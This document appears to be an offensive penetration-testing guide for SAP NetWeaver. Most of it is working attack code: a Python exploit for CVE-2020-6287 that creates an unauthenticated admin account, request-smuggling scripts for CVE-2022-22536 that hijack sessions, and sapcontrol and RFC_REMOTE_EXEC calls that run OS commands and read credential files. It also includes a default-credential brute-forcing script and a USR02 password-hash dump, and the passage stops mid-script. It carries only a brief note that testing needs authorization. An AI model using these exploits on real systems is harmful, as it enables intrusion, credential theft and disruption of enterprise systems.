SAP NetWeaver underpins ERP, HR, and financial systems in thousands of Fortune 500 companies, government agencies, and critical infrastructure operators worldwide. Two CVSS 10.0 vulnerabilities — CVE-2020-6287 (RECON: Remotely Exploitable Code On NetWeaver) and CVE-2022-22536 (HTTP request smuggling via ICM and Web Dispatcher) — allow unauthenticated attackers to achieve OS-level code execution and session hijacking respectively. This guide covers authorized SAP NetWeaver penetration testing methodology: from initial port enumeration and fingerprinting through RECON exploitation, ICM smuggling chains, SAP Management Console OS command execution, ABAP report abuse, RFC function module enumeration, and USR02 database credential extraction.
SAP NetWeaver is a middleware platform with two distinct application server stacks that present different attack surfaces. Understanding which stack is running — and what port configuration is in use — determines which CVEs apply and which exploitation paths are viable.
| Component | Default Port(s) | Protocol | Attack Surface |
|---|---|---|---|
| ICM HTTP | 80, 8000 | HTTP | CVE-2022-22536 request smuggling, URL path exploits |
| ICM HTTPS | 443, 8443 | HTTPS | CVE-2022-22536, credential harvesting |
| SAP Message Server | 3600 | RFC (proprietary) | Unauthenticated MS_ADM, gateway registration |
| Message Server HTTP | 3900 | HTTP | Instance enumeration, monitor access |
| ABAP Dispatcher (DIAG) | 3200–3299 | SAP DIAG | SAP GUI credential brute force, session hijacking |
| ABAP Gateway (RFC) | 3300–3399 | RFC | RFC_REMOTE_EXEC, trusted RFC abuse, OS commands |
| SAP Router | 3299 | NiRFC | Route string injection, ACL bypass |
| J2EE HTTP | 50000–50100 | HTTP | CVE-2020-6287 RECON LM Configuration Wizard |
| J2EE HTTPS | 50001+ | HTTPS | CVE-2020-6287 RECON over TLS |
| SAP Management Console | 5{NR}13 | SOAP/HTTP | Unauthenticated OS command execution (older versions) |
| SAP Host Agent | 1128, 1129 | HTTP/HTTPS | sapcontrol SOAP API, privilege escalation |
The system number (NR, typically 00–99) is embedded in most SAP ports. A system with NR=00 exposes DIAG on 3200, RFC gateway on 3300, and Management Console on 50013. Discovering the system number is a first-order reconnaissance task.
SAP systems have highly distinctive port signatures. A targeted nmap sweep across the SAP port space will rapidly identify AS ABAP vs AS Java instances, the system number, and which components are network-accessible.
# Comprehensive SAP port sweep — covers all major service ports
nmap -sV -sC -p 80,443,8000,8443,1128,1129,3200-3399,3600,3900,50000-50100 \
--script=ssl-cert,http-title,http-headers \
-oA sap-scan TARGET_IP
# Quick check for the most common SAP-specific ports
nmap -sV --open -p 8000,3200,3300,3600,3900,50000,50013 TARGET_IP
# UDP: SNMP is sometimes enabled on SAP hosts; system number discovery
nmap -sU -p 161 TARGET_IP
# Banner grab on ABAP Dispatcher (DIAG) — expect non-HTTP SAP binary protocol
nc -w 3 TARGET_IP 3200 | xxd | head -5
# Banner grab on RFC Gateway
nc -w 3 TARGET_IP 3300 | xxd | head -5
# Discover all open ports in the 3000-3999 and 50000-50200 ranges
# to enumerate all SAP instances on the host
nmap -sV -p 3000-3999,50000-50200 --open TARGET_IP
# SAP ICM injects distinctive response headers
curl -sk http://TARGET:8000/ -I
# Look for: server: SAP NetWeaver Application Server / ABAP
# x-sap-release: 740 (or 750, 752, etc.)
# content-type, set-cookie: sap-usercontext
# HTTPS ICM fingerprinting
curl -sk https://TARGET:8443/ -I | grep -i "sap\|x-sap\|server"
# ICM default paths — probe for well-known SAP URL endpoints
for PATH in "/sap/public/info" "/sap/bc/gui/sap/its/webgui" \
"/nwa" "/irj/portal" "/sap/bc/bsp/sap/system" \
"/sap/bc/webdynpro/sap/" "/webdynpro/resources/"; do
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:8000$PATH)
echo "$STATUS $PATH"
done
# /sap/public/info — returns SAP system information in XML without authentication
curl -sk http://TARGET:8000/sap/public/info
# Output example:
# <SOAP-ENV:Envelope>...
# <SystemId>PRD</SystemId>
# <SystemNumber>00</SystemNumber>
# <Release>740</Release>
# <Kernel>7.45</Kernel>
# ...
# This leaks SID, system number, kernel release, and database type — unauthenticated
# SAP WebGUI fingerprint
curl -sk http://TARGET:8000/sap/bc/gui/sap/its/webgui | grep -i "sap\|logon\|system"
# NWA (NetWeaver Administrator) — J2EE management console
curl -sk http://TARGET:50000/nwa | grep -i "sap\|netweaver\|java\|version"
# Shodan queries for internet-exposed SAP systems
# Search for SAP ICM header
shodan search 'http.headers:"sap-server"'
shodan search 'http.headers:"x-sap-release"'
# Search for SAP NetWeaver J2EE on default port
shodan search 'port:50000 "SAP NetWeaver"'
shodan search 'port:8000 "SAP" http.title:"SAP"'
# Search for SAP Message Server HTTP port (3900)
shodan search 'port:3900 "Message Server"'
# Shodan CLI enumeration of a specific organization
shodan search 'org:"TARGET ORG" port:8000,50000,3300,3600'
# Censys equivalent
censys search 'services.port=50000 and services.http.response.body:"SAP"'
CVE-2020-6287, dubbed RECON (Remotely Exploitable Code On NetWeaver) by Onapsis Research Labs, is a missing authentication vulnerability in the LM Configuration Wizard component of SAP NetWeaver AS Java. It received a CVSS score of 10.0 — the maximum — and affects SAP NetWeaver AS Java versions 7.30 through 7.50 including SAP S/4HANA, SAP Portal, and SAP SCM when the AS Java component is present. An unauthenticated attacker can invoke the /CTCWebService/CTCWebServiceBean SOAP endpoint to create a new OS-level administrator account, effectively achieving full system compromise without any credentials.
SAP patched RECON in SAP Security Note 2934135 released on July 14, 2020. The vulnerability was exploited in the wild within days of public disclosure. Onapsis estimates that over 40,000 SAP customers run affected AS Java deployments — and internet-facing instances remain a target years after patching due to slow enterprise patch cycles.
The LM (Lifecycle Management) Configuration Wizard exposes a SOAP web service at /CTCWebService/CTCWebServiceBean that is intended for post-installation configuration. In affected versions, this endpoint requires no authentication — any caller can invoke its operations including configureBC and performGetSupportedFeatures. The configureBC operation accepts user creation parameters and creates accounts with SAP_ALL profile (equivalent to OS-level administrator access across all SAP modules).
# Check if the LM Configuration Wizard endpoint is accessible without authentication
# A vulnerable system returns a SOAP response or WSDL; a patched system returns HTTP 404 or 403
# Test HTTP (port 50000)
curl -sk http://TARGET:50000/CTCWebService/CTCWebServiceBean?wsdl | grep -i "wsdl\|service\|operation"
# Test HTTPS
curl -sk https://TARGET:50001/CTCWebService/CTCWebServiceBean?wsdl | grep -i "wsdl\|service"
# If the WSDL is returned, the endpoint is exposed — proceed with exploitation
# The WSDL will list available operations including configureBC
# Nuclei template detection (safe, no account creation)
nuclei -u http://TARGET:50000 -t cves/2020/CVE-2020-6287.yaml -severity critical
# Manual SOAP probe — enumerate supported features without creating accounts
curl -sk -X POST http://TARGET:50000/CTCWebService/CTCWebServiceBean \
-H "Content-Type: text/xml; charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="urn:CTCWebServiceSi">
<SOAP-ENV:Body>
<ns1:performGetSupportedFeatures/>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>' | grep -i "feature\|support\|response\|fault"
# WARNING: The following creates an administrator account on the target system.
# Only execute on systems with explicit written authorization to test.
# CVE-2020-6287 PoC — Create SAP_ALL admin account via unauthenticated SOAP call
curl -sk -X POST http://TARGET:50000/CTCWebService/CTCWebServiceBean \
-H "Content-Type: text/xml; charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="urn:CTCWebServiceSi">
<SOAP-ENV:Body>
<ns1:configureBC>
<configRequest>
<configData>
<!-- User creation parameters -->
<property name="j2ee.admin.uid">recontest</property>
<property name="j2ee.admin.pwd">Recon@2024!</property>
<!-- SAP_ALL profile grants full authorization -->
</configData>
</configRequest>
</ns1:configureBC>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'
# Python PoC for CVE-2020-6287 (full exploit chain)
python3 << 'EOF'
import requests
import urllib3
urllib3.disable_warnings()
TARGET = "http://TARGET:50000"
NEW_USER = "pentest_admin"
NEW_PASS = "Pentest@2024!"
SOAP_PAYLOAD = f"""<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1="urn:CTCWebServiceSi">
<SOAP-ENV:Body>
<ns1:configureBC>
<configRequest>
<configData>
<property name="j2ee.admin.uid">{NEW_USER}</property>
<property name="j2ee.admin.pwd">{NEW_PASS}</property>
</configData>
</configRequest>
</ns1:configureBC>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>"""
headers = {
"Content-Type": "text/xml; charset=UTF-8",
"SOAPAction": '""'
}
r = requests.post(
f"{TARGET}/CTCWebService/CTCWebServiceBean",
data=SOAP_PAYLOAD,
headers=headers,
verify=False,
timeout=15
)
print(f"[*] Status: {r.status_code}")
print(f"[*] Response: {r.text[:500]}")
if "configureBC" in r.text and "Fault" not in r.text:
print(f"[+] SUCCESS — Account '{NEW_USER}' created with SAP_ALL profile")
print(f"[+] Login at: {TARGET}/nwa with {NEW_USER}:{NEW_PASS}")
else:
print("[-] Exploit failed or system is patched")
EOF
# After creating the admin account, authenticate to NWA
curl -sk -c nwa_session.txt -X POST http://TARGET:50000/nwa/logon \
-d "j_username=recontest&j_password=Recon@2024!&_nf_=true"
# Access NWA with the created account
curl -sk -b nwa_session.txt http://TARGET:50000/nwa/ | grep -i "welcome\|admin\|dashboard"
# Via NWA, enumerate all J2EE user accounts
curl -sk -b nwa_session.txt \
"http://TARGET:50000/nwa/ume/shell/users?component=showAllUsers" | \
grep -i "userid\|username\|email"
# Read sensitive configuration from the J2EE engine
# Datasource config contains database connection strings including credentials
curl -sk -b nwa_session.txt \
"http://TARGET:50000/nwa/datasource" | grep -i "url\|user\|password\|jdbc"
# Extract secure store (contains encrypted secrets — keys, LDAP passwords)
# Via Configuration Editor in NWA
curl -sk -b nwa_session.txt \
"http://TARGET:50000/nwa/configuration" | grep -i "key\|secret\|ldap\|smtp\|password"
# Download J2EE keystore (contains SSL private keys)
curl -sk -b nwa_session.txt \
"http://TARGET:50000/nwa/keystore" -o j2ee_keystore.p12
CVE-2022-22536 (SAP Security Note 3123396, CVSS 10.0) is an HTTP request smuggling vulnerability in the SAP Internet Communication Manager (ICM) and SAP Web Dispatcher. The vulnerability exists in the HTTP/1.1 request parsing pipeline: the ICM incorrectly handles chunked Transfer-Encoding and Content-Length headers simultaneously, enabling attackers to poison HTTP request queues, hijack authenticated user sessions, and escalate privileges to OS level. Discovered by Onapsis and SAP in February 2022, it affects ICM and SAP Web Dispatcher in all active SAP kernel releases including 7.22, 7.49, 7.53, 7.77, 7.81, 7.85, 7.22EXT, 7.54, and 7.86.
HTTP request smuggling exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. SAP's ICM is particularly vulnerable because both the SAP Web Dispatcher (front-end) and the AS ABAP/Java ICM (back-end) parse HTTP differently:
Transfer-Encoding: chunked to determine request boundaries; ICM back-end uses Content-Length. Attacker sends a chunked request with a misleading Content-Length that causes the ICM to treat part of the current request as the start of the next request.# Detection via timing-based probe (CL.TE variant)
# A vulnerable server will hold the connection open waiting for the smuggled request body
# This causes an observable time delay
# CL.TE timing detection — if vulnerable, server hangs for ~10 seconds on second request
python3 << 'EOF'
import socket
import time
HOST = "TARGET"
PORT = 8000
# CL.TE smuggling probe
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"X" # This byte will be prepended to the next request by the back-end
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.settimeout(15)
start = time.time()
s.send(payload.encode())
try:
resp = s.recv(4096)
elapsed = time.time() - start
print(f"[*] Response time: {elapsed:.2f}s")
if elapsed > 5:
print("[+] VULNERABLE: Significant delay indicates CL.TE smuggling")
else:
print("[-] Not vulnerable (or patched)")
except socket.timeout:
elapsed = time.time() - start
print(f"[+] VULNERABLE: Timeout after {elapsed:.2f}s — server held connection (CL.TE confirmed)")
finally:
s.close()
EOF
# Nuclei detection (safe, timing-based)
nuclei -u http://TARGET:8000 -t cves/2022/CVE-2022-22536.yaml -severity critical
# TE.CL session capture attack
# Goal: Prefix a victim's next request with an attacker-controlled partial request
# that causes the victim's cookies/session token to be sent to the attacker's endpoint
# Step 1: Send the smuggling request that poisons the connection queue
python3 << 'EOF'
import socket
HOST = "TARGET"
PORT = 8000
ATTACKER_PATH = "/sap/bc/gui/sap/its/webgui/capture" # attacker-controlled endpoint
# TE.CL attack: front-end uses TE, back-end uses CL
# The smuggled prefix will be attached to the next victim request
smuggle_prefix = (
f"GET {ATTACKER_PATH} HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"Content-Length: 900\r\n" # Large CL to capture the entire next request including headers
"\r\n"
)
smuggle_prefix_hex = hex(len(smuggle_prefix))[2:]
outer_body = f"{smuggle_prefix_hex}\r\n{smuggle_prefix}\r\n0\r\n\r\n"
outer_request = (
"POST / HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(outer_body)}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
+ outer_body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.settimeout(10)
s.send(outer_request.encode())
try:
resp = s.recv(4096).decode(errors='replace')
print(f"[*] Server response: {resp[:200]}")
# The victim's cookies will appear in our attacker-controlled endpoint logs
except Exception as e:
print(f"[*] {e}")
finally:
s.close()
EOF
# Step 2: Monitor attacker endpoint for captured victim session tokens
# When a legitimate user makes a request after the poison is in the queue,
# their Cookie headers will be appended to the smuggled GET request body
# If the smuggled request can reach an internal SAP management endpoint
# that is only accessible from localhost (no external auth required),
# HTTP request smuggling effectively bypasses the authentication layer
# Example: ICM internal management endpoint accessible only from 127.0.0.1
# Smuggle a request to the internal NWA admin endpoint using ICM's loopback trust
# Verify internal-only endpoints
curl -sk http://127.0.0.1:8000/sap/admin/ -I # Would normally require localhost origin
# Via smuggling, prefix a victim request with:
INTERNAL_REQUEST = (
"GET /sap/admin/userlist HTTP/1.1\r\n"
"Host: localhost\r\n" # Internal hostname — bypasses external auth check
"Content-Length: 800\r\n"
"\r\n"
)
# The ICM's internal trust model treats the smuggled request as originating
# from the same loopback interface as the ICM itself — bypassing ACLs
The SAP Management Console (SMC) exposes a SOAP web service via the sapcontrol interface on port 5{system_nr}13 (e.g., port 50013 for system number 00). In older SAP versions and default installations, this endpoint is accessible without authentication and can be used to execute OS-level commands, start/stop SAP instances, read process lists, and enumerate system parameters — all as the sidadm OS user under which SAP runs.
# Probe for SAP Management Console SOAP endpoint
# Port formula: 5 + system_nr + 13 (e.g., NR=00 → 50013, NR=01 → 51013)
for NR in 00 01 02 03 10 11; do
PORT="5${NR}13"
STATUS=$(curl -sk -o /dev/null -w "%{http_code}" http://TARGET:$PORT/)
echo "NR=$NR Port=$PORT HTTP=$STATUS"
done
# WSDL discovery — confirms sapcontrol is accessible
curl -sk http://TARGET:50013/?wsdl | grep -i "operation\|method\|GetProcessList\|Start\|Stop"
# Enumerate running SAP processes without authentication (if unprotected)
curl -sk -X POST http://TARGET:50013/ \
-H "Content-Type: text/xml; charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<GetProcessList xmlns="urn:SAPControl"/>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>' | python3 -m json.tool 2>/dev/null || \
grep -o '<name>[^<]*</name>\|<pid>[^<]*</pid>'
# Get system instance info — leaks hostname, SID, instance number, kernel version
curl -sk -X POST http://TARGET:50013/ \
-H "Content-Type: text/xml; charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<GetInstanceProperties xmlns="urn:SAPControl"/>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>' | grep -o '<property>[^<]*</property>\|<value>[^<]*</value>'
# sapcontrol CLI tool — execute against a remote SAP Management Console
# Available in SAP Host Agent package or via the sapcontrol binary on Linux/Windows
# Enumerate all running processes
sapcontrol -host TARGET -nr 00 -function GetProcessList
# Get system parameters — reveals kernel version, profile file paths, data directories
sapcontrol -host TARGET -nr 00 -function GetVersionInfo
# Read the DEFAULT.PFL profile (contains database connection parameters)
sapcontrol -host TARGET -nr 00 -function ParameterValue \
-paramname "dbs/hdb/dbname" # For HANA database
sapcontrol -host TARGET -nr 00 -function ParameterValue \
-paramname "dbms/name" # Database type (HANA, Oracle, MSSQL, DB2)
# Execute OS commands via sapcontrol (requires authentication in newer versions,
# but unprotected in older deployments or default-credential instances)
# OSExecute executes commands as the sidadm OS user
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/id" -arguments "" -timeout 10
# Read /etc/passwd via OS command execution
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/cat" -arguments "/etc/passwd" -timeout 10
# Exfiltrate SAP profile parameters containing DB credentials
sapcontrol -host TARGET -nr 00 -function OSExecute \
-executablepath "/bin/cat" \
-arguments "/usr/sap/PRD/SYS/profile/DEFAULT.PFL" \
-timeout 10
# Start/stop SAP instance (potentially disruptive — use with extreme caution)
# sapcontrol -host TARGET -nr 00 -function Stop
# sapcontrol -host TARGET -nr 00 -function Start
# Via SOAP directly (for environments without sapcontrol binary)
curl -sk -X POST http://TARGET:50013/ \
-H "Content-Type: text/xml; charset=UTF-8" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<OSExecute xmlns="urn:SAPControl">
<path>/bin/id</path>
<args></args>
<async>0</async>
</OSExecute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'
sapadm user) before dismissing the attack surface.
The SAP Message Server acts as a central load balancer and application server directory. It maintains a list of all registered application server instances and distributes logon requests. Port 3600 carries the internal RFC-based message server protocol (MS_ADM) while port 3900 is the HTTP monitor interface. Both are frequently accessible on internal networks and present significant attack surface.
# SAP Message Server HTTP monitor (port 3900)
# In default configurations, this is accessible without authentication
curl -sk http://TARGET:3900/msgserver/text/logon | \
grep -i "instance\|host\|port\|server\|version"
# Full message server monitor — lists all registered AS instances
curl -sk http://TARGET:3900/msgserver/html/mslist
# Returns HTML table with: instance names, hostnames, ports, work processes
# Get message server version and system info
curl -sk "http://TARGET:3900/msgserver/text/msinfo?format=plain"
# Dump all registered application server instances in XML format
curl -sk "http://TARGET:3900/msgserver/xml/mslist" | python3 -m json.tool 2>/dev/null || \
grep -o '<[^>]*>[^<]*</[^>]*>'
# List available logon groups (used for SAP GUI connection strings)
curl -sk "http://TARGET:3900/msgserver/text/logon?version=2"
# The internal message server protocol (port 3600) accepts MS_ADM commands
# without authentication in vulnerable configurations — allowing an attacker
# to register a rogue application server instance
# msmon tool — internal SAP message server monitor (included in SAP kernel tools)
# Can enumerate and manipulate message server state when port 3600 is accessible
# SAP Note 1408081 documents the msmon access control mechanism
# Check if access control file is configured (if not, port 3600 is fully open)
# Access control file: /usr/sap/PRD/SYS/profile/msserv_security
# Test raw MS_ADM access (RFC-like proprietary binary protocol)
# Using Metasploit auxiliary module
msfconsole -q -x "
use auxiliary/scanner/sap/sap_msgserver_info;
set RHOSTS TARGET;
set RPORT 3900;
run;
exit"
# Register a fake application server (man-in-the-middle setup)
# This is advanced attack territory — a registered rogue server can intercept
# logon requests routed to it by the message server
# Tool: mspwn (Mariano Nunez's SAP message server exploit toolset)
# Enumerate RFC server group via message server HTTP interface
curl -sk "http://TARGET:3900/msgserver/text/logon?group=PUBLIC"
curl -sk "http://TARGET:3900/msgserver/text/logon?group=SPACE"
SAP systems ship with a set of default user accounts that are frequently left enabled in development, test, and even production systems. These accounts have pre-defined passwords in older installations and may have never been changed. The three most critical defaults are SAP* (the super user), DDIC (data dictionary administrator), and SAPCPIC (the CPI-C communication user).
| Username | Default Password | Client | Authorization Profile |
|---|---|---|---|
| SAP* | 06071992 | 000, 001, 066 | SAP_ALL, SAP_NEW (hardcoded in kernel if deleted) |
| DDIC | 19920706 | 000, 001 | Full ABAP data dictionary access, SE11/SE38 |
| SAPCPIC | ADMIN | 000, 001 | RFC, CPI-C communications |
| EARLYWATCH | SUPPORT | 066 | Performance monitoring read access |
| TMSADM | PASSWORD (or $1Pawd2&) | 000 | Transport Management System admin |
06071992 and receives full SAP_ALL authorization. This is a hardcoded backdoor — deleting the account does not remove the risk. The only mitigation is SAP profile parameter login/no_automatic_user_sapstar=1.
# Test SAP default credentials via the ICM WebGUI logon (HTTP-based)
# WebGUI authenticates using standard HTTP form POST to the ICM
curl -sk -c sap_session.txt -X POST \
"http://TARGET:8000/sap/bc/gui/sap/its/webgui?~transaction=SESSION_MANAGER" \
-d "sap-user=SAP*&sap-password=06071992&sap-client=000&sap-language=EN" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L | grep -i "welcome\|menu\|logoff\|error\|invalid"
# Test all default accounts across multiple clients (000, 001, 100, 200, 800)
python3 << 'EOF'
import requests
import urllib3
urllib3.disable_warnings()
TARGET = "http://TARGET:8000"
DEFAULTS = [
("SAP*", "06071992"),
("DDIC", "19920706"),
("SAPCPIC", "ADMIN"),
("EARLYWATCH", "SUPPORT"),
("TMSADM", "PASSWORD"),
]
CLIENTS = ["000", "001", "100", "200", "800"]
for client in CLIENTS:
for user, password in DEFAULTS:
try:
r = requests.post(
f"{TARGET}/sap/bc/gui/sap/its/webgui",
data={
"sap-user": user,
"sap-password": password,
"sap-client": client,
"sap-language": "EN"
},
allow_redirects=True,
verify=False,
timeout=10
)
if "logoff" in r.text.lower() or "session_manager" in r.text.lower():
print(f"[+] SUCCESS: client={client} user={user} pass={password}")
else:
print(f"[-] Failed: client={client} user={user}")
except Exception as e:
print(f"[!] Error for {user}@{client}: {e}")
EOF
# Test via SAP RFC using pyrfc library (if Python SAP RFC connector is available)
python3 << 'EOF'
try:
import pyrfc
conn = pyrfc.Connection(
ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992"
)
result = conn.call("RFC_SYSTEM_INFO")
print(f"[+] RFC connected! SID: {result['RFCSI_EXPORT']['RFCSYSID']}")
conn.close()
except Exception as e:
print(f"[-] {e}")
EOF
Once an authenticated ABAP session is obtained (via default credentials, CVE exploitation, or other means), the ABAP runtime provides multiple paths to OS-level command execution. The most direct are SM69/SM49 external command execution, ABAP CALL FUNCTION with trusted RFC, and direct OS calls via function modules SYSTEM and RFC_REMOTE_EXEC.
# SM69 is the SAP transaction for configuring external OS commands
# SM49 is the transaction to execute those configured commands
# Both require the S_RZL_ADM authorization object — typically held by BASIS admins
# Via WebGUI: navigate to SM69 transaction
curl -sk -b sap_session.txt \
"http://TARGET:8000/sap/bc/gui/sap/its/webgui?~transaction=SM69" | \
grep -i "command\|external\|execute"
# RFC function module to list configured external commands
# (can be called via pyrfc or direct RFC if connection established)
# CALL FUNCTION 'SXPG_COMMAND_LIST_GET' -- lists all SM69 configured commands
# SXPG_COMMAND_EXECUTE function module — executes SM69-defined OS commands
# This is the programmatic equivalent of SM49
# ABAP code example (for authorized SAP SE38 execution):
# DATA: lt_output TYPE TABLE OF btcxpm.
# CALL FUNCTION 'SXPG_COMMAND_EXECUTE'
# EXPORTING
# commandname = 'PING'
# additional_parameters = '127.0.0.1'
# operatingsystem = sy-opsys
# TABLES
# exec_protocol = lt_output.
# RFC-level call via Python (pyrfc)
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
result = conn.call("SXPG_COMMAND_EXECUTE",
COMMANDNAME="PING",
ADDITIONAL_PARAMETERS="127.0.0.1",
OPERATINGSYSTEM="UNIX"
)
for line in result.get("EXEC_PROTOCOL", []):
print(line.get("MESSAGE", ""))
conn.close()
EOF
# Trusted RFC (tRFC/qRFC) connections use system-level trust without re-authentication
# A trusted RFC from System A to System B means System B accepts connections
# from System A as if they were authenticated — useful for lateral movement
# Enumerate trusted RFC connections in SM59
# Via SE37 (ABAP Function Builder) — test RFC_REMOTE_EXEC function module
# RFC_REMOTE_EXEC executes OS commands and is extremely dangerous if exposed
# Python RFC call — execute OS command via RFC_REMOTE_EXEC
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
try:
# RFC_REMOTE_EXEC — executes OS-level command as sidadm
result = conn.call("RFC_REMOTE_EXEC",
COMMAND="/bin/id",
READ_ONLY=" "
)
print(f"[+] OS command result:")
for line in result.get("PIPEOUT", []):
print(f" {line.get('LINE', '')}")
except pyrfc.ABAPRuntimeError as e:
print(f"[-] RFC_REMOTE_EXEC not accessible: {e}")
# Alternative: SYSTEM function module (less common but present in some releases)
try:
result = conn.call("SYSTEM",
COMMAND="id"
)
print(result)
except Exception as e:
print(f"[-] SYSTEM FM: {e}")
conn.close()
EOF
# ABAP injection via dynamic eval (if custom code accepts user input)
# Vulnerable ABAP pattern:
# DATA: lv_code TYPE string VALUE 'WRITE |test|.'.
# GENERATE SUBROUTINE POOL ... <-- dynamic ABAP code execution
# This is equivalent to eval() injection in web contexts
# Look for GENERATE SUBROUTINE POOL, INSERT REPORT, ABAP code injection points
# via SE38 (ABAP Editor) or custom transaction analysis
The RFC (Remote Function Call) protocol is SAP's proprietary RPC mechanism operating on port 3300–3399. It enables inter-system communication, automated batch jobs, and integration scenarios. For penetration testers, the RFC gateway is a goldmine: it exposes hundreds of function modules, some of which can execute OS commands, read sensitive data, or enable lateral movement across connected SAP systems.
# Probe RFC gateway port
nc -w 3 TARGET 3300 | xxd | head -5 # Expect SAP proprietary binary
# nmap service detection on RFC gateway
nmap -sV -p 3300 TARGET --script=banner
# Metasploit SAP RFC enumeration modules
msfconsole -q -x "
use auxiliary/scanner/sap/sap_rfc_dbquery;
set RHOSTS TARGET;
set RPORT 3300;
set CLIENT 000;
set USERNAME SAP*;
set PASSWORD 06071992;
run;
exit"
# Using saprfc tool (from the SAP pentest toolkit by ERPScan/Onapsis)
# Enumerate all available RFC function modules
saprfc -a TARGET -n 00 -c 000 -u SAP* -p 06071992 \
-f RFC_FUNCTION_SEARCH -P FUNCNAME=RFC_*
# Search for dangerous RFC function modules
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
# RFC_FUNCTION_SEARCH — search for function modules by pattern
dangerous_patterns = ["RFC_REMOTE*", "SXPG*", "SYSTEM*", "BAPI_USER*",
"SUSR_*", "RFC_READ_TABLE", "RFCPING", "TH_POPUP"]
for pattern in dangerous_patterns:
try:
result = conn.call("RFC_FUNCTION_SEARCH", FUNCNAME=pattern)
for fm in result.get("FUNCTIONS", []):
print(f"[+] Found FM: {fm.get('FUNCNAME', '')}")
except Exception:
pass
conn.close()
EOF
# RFC_READ_TABLE — read any SAP database table directly (critical for data exfil)
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
# Read user table — USR02 contains password hashes
result = conn.call("RFC_READ_TABLE",
QUERY_TABLE="USR02",
DELIMITER="|",
FIELDS=[{"FIELDNAME": "MANDT"}, {"FIELDNAME": "BNAME"},
{"FIELDNAME": "BCODE"}, {"FIELDNAME": "USTYP"}],
OPTIONS=[{"TEXT": "MANDT = '000'"}]
)
print("[+] USR02 table contents (password hashes):")
for row in result.get("DATA", []):
print(f" {row.get('WA', '')}")
conn.close()
EOF
# Check RFC gateway security configuration (reginfo and secinfo files)
# These files control which programs and hosts can register with the RFC gateway
# Permissive configurations allow rogue server registration
# Via sapcontrol: read RFC gateway security parameters
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "gw/sec_info"
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "gw/reg_info"
sapcontrol -host TARGET -nr 00 -function ParameterValue -paramname "gw/acl_mode"
# gw/acl_mode=0 means NO access control — any host can register as RFC server
# gw/acl_mode=1 means access control enabled via reginfo/secinfo files
# Test RFC gateway monitor (gwmon) — available if gateway monitor is enabled
# gwmon allows listing and killing registered RFC server programs
# Accessible via sapcontrol or direct ABAP call CALL 'GW_MONITOR' METHOD 'LLIST'
# Enumerate registered RFC servers (external programs registered with gateway)
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
user="SAP*", passwd="06071992")
# List registered RFC server programs
result = conn.call("RFCPING") # Basic connectivity test
print(f"[+] RFC gateway reachable. System: {result}")
# Attempt to read gateway monitor data
try:
result = conn.call("SUSR_USER_AUTH_FOR_OBJ_GET",
BNAME="SAP*",
AUTH_OBJ="S_RFC"
)
print(f"[+] S_RFC authorizations: {result}")
except Exception as e:
print(f"[*] {e}")
conn.close()
EOF
SAP stores user password hashes in the USR02 table using the proprietary BCODE format (8-byte DES-based hash, case-insensitive and padded to uppercase). More recent SAP systems also store SHA-1 or bcrypt-based hashes in the USH02 and USR02 tables depending on the profile parameter login/password_hash_algorithm. Database connection credentials — the most dangerous extraction target — are stored in the SAP profile files and the SAP Secure Store.
# Method 1: Via RFC_READ_TABLE function module (requires RFC access + table auth)
python3 << 'EOF'
import pyrfc
conn = pyrfc.Connection(ashost="TARGET", sysnr="00", client="000",
